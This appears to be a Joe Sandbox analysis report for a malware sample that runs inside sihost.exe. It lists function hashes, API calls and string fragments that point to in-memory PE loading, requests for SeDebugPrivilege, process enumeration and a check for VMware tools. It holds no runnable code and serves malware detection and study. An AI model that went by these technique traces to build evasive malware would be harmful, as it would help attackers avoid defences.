Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: fd69968c491ef5d146ff999f1061ad1d702a6e5a0f36fb7d62e753485f815ffb
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: FD01803240008EFFCF165F86DC82CEE3F66BB08345B588416FA1858131D33AD9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004E3860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004E3933

Strings

invalid string position, xrefs: 004E3962, 004E396C
string too long, xrefs: 004E3976

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 08561eeb745e549fccf08432a547caed24158ca86ab6be84165bef3b15f79451
Instruction ID: d5027d7f44aacabc41ed8b660065bfb77e88627c039f766978ad54ffeca86e1a
Opcode Fuzzy Hash: 08561eeb745e549fccf08432a547caed24158ca86ab6be84165bef3b15f79451
Instruction Fuzzy Hash: 3B412B723003809BD7269E5EE884B6AF7A5FF91753B10092FF58587242C7B59D4087A9

Uniqueness

Uniqueness Score: -1.00%

Function 0058B088 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

Strings

], xrefs: 0058F5D9
pdia, xrefs: 00599712

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: ]$pdia
API String ID: 1172538735-2683859214
Opcode ID: d485d9b5e31714807dc6f527d4ee0b64339b24b6311acd4a9a6e78589d3acdd1
Instruction ID: 196409ebefcfbaa66a426c91b75d5c6aa61cbb32557b14b08e1d78b8997fc5fb
Opcode Fuzzy Hash: d485d9b5e31714807dc6f527d4ee0b64339b24b6311acd4a9a6e78589d3acdd1
Instruction Fuzzy Hash: 523155B5400213AFEB11BA64CC996EE7EA2FF91351F40482CF49813A81D779456ADF26

Uniqueness

Uniqueness Score: -1.00%

Function 00588CFB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

], xrefs: 0058F5D9
pdia, xrefs: 00599712

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: ]$pdia
API String ID: 1172538735-2683859214
Opcode ID: 3de21c05d8a768aabb39bdf5882fcdb20ff530238f7cab653060dc2f09c78e07
Instruction ID: 83da1cc8e37daf548830704afb1ae8c174e986c85793cee071f61cda5a78dc86
Opcode Fuzzy Hash: 3de21c05d8a768aabb39bdf5882fcdb20ff530238f7cab653060dc2f09c78e07
Instruction Fuzzy Hash: D13199B54002139FEB11BA64CCD91FA3F93FF91361F40492DF49813A81D63D019ADB21

Uniqueness

Uniqueness Score: -1.00%

Function 0058F599 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

Strings

], xrefs: 0058F5D9
pdia, xrefs: 00599712

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: ]$pdia
API String ID: 1172538735-2683859214
Opcode ID: e0cb01af9c13ee539664c4b1f55ba3db3f8760747d81097bf2000e1bb8a777ec
Instruction ID: 67a1885c763137b8da098699725b356aa385eebed0fadc851ff83fe9e82e0cec
Opcode Fuzzy Hash: e0cb01af9c13ee539664c4b1f55ba3db3f8760747d81097bf2000e1bb8a777ec
Instruction Fuzzy Hash: AF3187B54002139BEB11FA68CCA91FA3EA3FFD1361F40492DF49913A81D67D459ADB22

Uniqueness

Uniqueness Score: -1.00%

Function 0058C599 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0058C59E

Strings

Q}$5, xrefs: 0058C5C1
8, xrefs: 005997D1

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _memmove
String ID: 8$Q}$5
API String ID: 4104443479-3848870886
Opcode ID: 97a5d59a66a23162142a3ca26892e67ee4b28e5279dc06d2d0ec9a056f8d3e9f
Instruction ID: f6209dfab72f415f41b48d59fa829ea05453802ee90b61e925b8f9dae6a34cb6
Opcode Fuzzy Hash: 97a5d59a66a23162142a3ca26892e67ee4b28e5279dc06d2d0ec9a056f8d3e9f
Instruction Fuzzy Hash: A50124B6509256AFCB15FB6488C56FEBF62BBD8702F40084DF54926241DA748A2C8F62

Uniqueness

Uniqueness Score: -1.00%

Function 005921C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_rand.LIBCMT ref: 005921CC
_rand.LIBCMT ref: 005996E6

Strings

pdia, xrefs: 00599712

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: pdia
API String ID: 1172538735-2335153500
Opcode ID: 4e033db1b202a6eeaef9896a14f432950cf7361529825ed4f369b859678c84d8
Instruction ID: 1d91ec8663f42cbdec3e589ae11fe8880e46a1ee819ca4017e53fad49dd9c37c
Opcode Fuzzy Hash: 4e033db1b202a6eeaef9896a14f432950cf7361529825ed4f369b859678c84d8
Instruction Fuzzy Hash: F2F02BB18096525BDB016B148C922AA7E956F94399F040C2CF89523282DB384D948F56

Uniqueness

Uniqueness Score: -1.00%

Function 00586597 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

_rand.LIBCMT ref: 00598030

Strings

I, xrefs: 0059803C
., xrefs: 00598037

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: .$I
API String ID: 1172538735-863677034
Opcode ID: 47270c5ea73a3d79a113b22402e427178c55854cc940b4e9b4ddbd497efaae68
Instruction ID: 9c1147463454b731d9abfd1f0cc027c514b269c2c5460a8bc1aed1c6ff44ecab
Opcode Fuzzy Hash: 47270c5ea73a3d79a113b22402e427178c55854cc940b4e9b4ddbd497efaae68
Instruction Fuzzy Hash: 0ED05EB404C3809EC702DA15C486699BFE1AF45328F10589CFA8417222E3BCAA9C9B53

Uniqueness

Uniqueness Score: -1.00%

Function 0059801C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13COMMON

Download Yara Rule

APIs

_rand.LIBCMT ref: 00598030

Strings

I, xrefs: 0059803C
., xrefs: 00598037

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: .$I
API String ID: 1172538735-863677034
Opcode ID: c2910be62053d3f9709270bb06bc0494951282cda0209e7673ddc15279054000
Instruction ID: 21fda9439c44d8d6e0da5ff3c3bc29958f0f95f6c7dc88bc9192758d40ba0f6d
Opcode Fuzzy Hash: c2910be62053d3f9709270bb06bc0494951282cda0209e7673ddc15279054000
Instruction Fuzzy Hash: D6D05EB404C3809EC302EA15C486689BFA1AB85328F00889CBA8417212E3BC9A58CB53

Uniqueness

Uniqueness Score: -1.00%

Function 00583786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

_rand.LIBCMT ref: 005837AA

Strings

s, xrefs: 00583786
h, xrefs: 00583795

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: _rand
String ID: h$s
API String ID: 1172538735-2170651306
Opcode ID: 7d7b9e1ef61872bdf592f93c4e44c5f778209aad25f4db6809fe38ce96a7a938
Instruction ID: 37ef8b55558b9de63fb7f3d4d3b522f81a2ed2d10136fb99aa1b2a8a11aa9c05
Opcode Fuzzy Hash: 7d7b9e1ef61872bdf592f93c4e44c5f778209aad25f4db6809fe38ce96a7a938
Instruction Fuzzy Hash: 8AD0A77080879989EF11AF31885938A7DD26F51309F008498604423112C7784E989B85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sihost.exePID: 3368, Parent PID: 2432COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	40.4%
Signature Coverage:	11.2%
Total number of Nodes:	89
Total number of Limit Nodes:	14

Executed Functions

Function 00D1A720 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 126
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D1B77C: _getptd.LIBCMT ref: 00D1B784

GetProcAddress.KERNEL32 ref: 00D1A7BA
GetProcAddress.KERNEL32(?), ref: 00D1A824
GetProcAddress.KERNEL32 ref: 00D1A849

Strings

ntdl, xrefs: 00D1A7F7
papi, xrefs: 00D1A88D
.dll, xrefs: 00D1A7D5
NtQu, xrefs: 00D1A7C0
pFor, xrefs: 00D1A807
ward, xrefs: 00D1A80F
mInf, xrefs: 00D1A79D
Tabl, xrefs: 00D1A817
orma, xrefs: 00D1A7A5
ARP, xrefs: 00D1A83A
tion, xrefs: 00D1A7AD
SeDebugPrivilege, xrefs: 00D1A892

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: AddressProc$_getptd
String ID: .dll$ARP$NtQu$SeDebugPrivilege$Tabl$mInf$ntdl$orma$pFor$papi$tion$ward
API String ID: 2528511721-3363487983
Opcode ID: 4005ef5b354ef6b7a8a531c2a1317616c583547017e86ae1472fd5078d12058a
Instruction ID: a7906be8f907d0c9f2093025253fcb4f24e97b57740fe7ffa96af7a3778f3282
Opcode Fuzzy Hash: 4005ef5b354ef6b7a8a531c2a1317616c583547017e86ae1472fd5078d12058a
Instruction Fuzzy Hash: 7151CB722297819ADB50CF65F8417AAB7B0FB84740F54501AFA8A87B59DF7CC484CF21

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EE601BE Relevance: 18.0, APIs: 3, Strings: 7, Instructions: 456memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000001D63EE602D2
LoadLibraryA.KERNELBASE ref: 000001D63EE603C9
VirtualProtect.KERNELBASE ref: 000001D63EE60570

Strings

PE, xrefs: 000001D63EE60264
rote, xrefs: 000001D63EE60229
ree, xrefs: 000001D63EE60209
Virt, xrefs: 000001D63EE601FC
Virt, xrefs: 000001D63EE6021C
Virt, xrefs: 000001D63EE601DC
lloc, xrefs: 000001D63EE601E9

Memory Dump Source

Source File: 00000002.00000003.2397078249.000001D63EE60000.00000020.00000400.00020000.00000000.sdmp, Offset: 000001D63EE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_1d63ee60000_sihost.jbxd

Similarity

API ID: Virtual$AllocLibraryLoadProtect
String ID: PE$Virt$Virt$Virt$lloc$ree$rote
API String ID: 1403325721-3910998325
Opcode ID: 5b9ca036da97cac70f630b6e5017ac2081fa9c52aa8ba42afb22ab9b83a501ab
Instruction ID: 2f4553d5155c19e01fbc8eb4a6b72132a4862db0996ec7228746d40bef81b296
Opcode Fuzzy Hash: 5b9ca036da97cac70f630b6e5017ac2081fa9c52aa8ba42afb22ab9b83a501ab
Instruction Fuzzy Hash: 4CE1B330218F194FEBB8DE19D8947B673D1FB98316F10466ED98AC32A2EB34DC418791

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002890 Relevance: 4.6, APIs: 3, Instructions: 54
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000001800028BF
Process32First.KERNEL32(00000000), ref: 00000001800028E2

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 93ec2b5c7b1c7c8394d246b4ab0091bf5e4296fb296abbd58bb93c3c8fdf427c
Instruction ID: 9d635e6cc559ccb051568070bc4fccdb728838e6a6a25dbd61c1732defcf312e
Opcode Fuzzy Hash: 93ec2b5c7b1c7c8394d246b4ab0091bf5e4296fb296abbd58bb93c3c8fdf427c
Instruction Fuzzy Hash: 3A11963220468992E661DB21A8157DA7790F78D7E4F448311FEA9437C5DF38C7098740

Uniqueness

Uniqueness Score: -1.00%

Function 00D1A660 Relevance: 3.8, Strings: 3, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mp.s, xrefs: 00D1A6E5
vmto, xrefs: 00D1A6D8
.exe, xrefs: 00D1A6B6

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID:
String ID: .exe$mp.s$vmto
API String ID: 0-1055356681
Opcode ID: 712b3c7037ceef7acc11523a7d873617b69f5b91e1119cfeac92bef9d0f2aae0
Instruction ID: 96bcf87b3871934b970a6526c43dab412fa0078a535d50560eb9590819282db5
Opcode Fuzzy Hash: 712b3c7037ceef7acc11523a7d873617b69f5b91e1119cfeac92bef9d0f2aae0
Instruction Fuzzy Hash: 7511AC7660868097DB309B19F12235AB7A0F799748F940219FACD87B49DF3CC240CF26

Uniqueness

Uniqueness Score: -1.00%

Function 00D19F70 Relevance: 3.1, APIs: 2, Instructions: 51
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00D19FA5
NtQuerySystemInformation.NTDLL ref: 00D19FFA

Part of subcall function 00D1B478: _errno.LIBCMT ref: 00D1B498

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: InformationQuerySystem$_errno
String ID:
API String ID: 1433621741-0
Opcode ID: 7bb3eaaa8b9bfbe03617bea27c249c63ea7b07d7f0eb7c659c546391a67bc0e1
Instruction ID: dcdab7d39178708fdd72ffc65fdb2429069c95cc1f6af8bb226eece6a5efb935
Opcode Fuzzy Hash: 7bb3eaaa8b9bfbe03617bea27c249c63ea7b07d7f0eb7c659c546391a67bc0e1
Instruction Fuzzy Hash: 4B118F32205A509AEB209F65F05039AB760FB8CBE8F49452AEF8D47B59DF3CC591CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00D19DA0 Relevance: 1.6, APIs: 1, Instructions: 56
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00D19DE5

